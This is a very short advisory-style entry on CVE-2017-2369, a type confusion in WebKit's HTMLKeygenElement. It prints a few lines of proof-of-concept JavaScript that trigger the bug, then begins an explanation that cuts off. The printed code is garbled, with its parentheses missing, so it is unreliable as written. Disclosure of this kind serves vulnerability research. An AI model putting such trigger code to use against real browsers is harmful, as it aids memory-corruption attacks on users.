Apple WebKit HTMLKeygenElement Type Confusion

Apple WebKit: Type confusion in HTMLKeygenElement CVE-2017-2369 PoC: var range = document.caretRangeFromPoint50, 50; var shadowtreecontainer = range.commonAncestorContainer; shadowtreecontainer.prepend"foo"; keygenelement.disabled = true; What happens here: 1. caretRangeFromPoint allows accessing...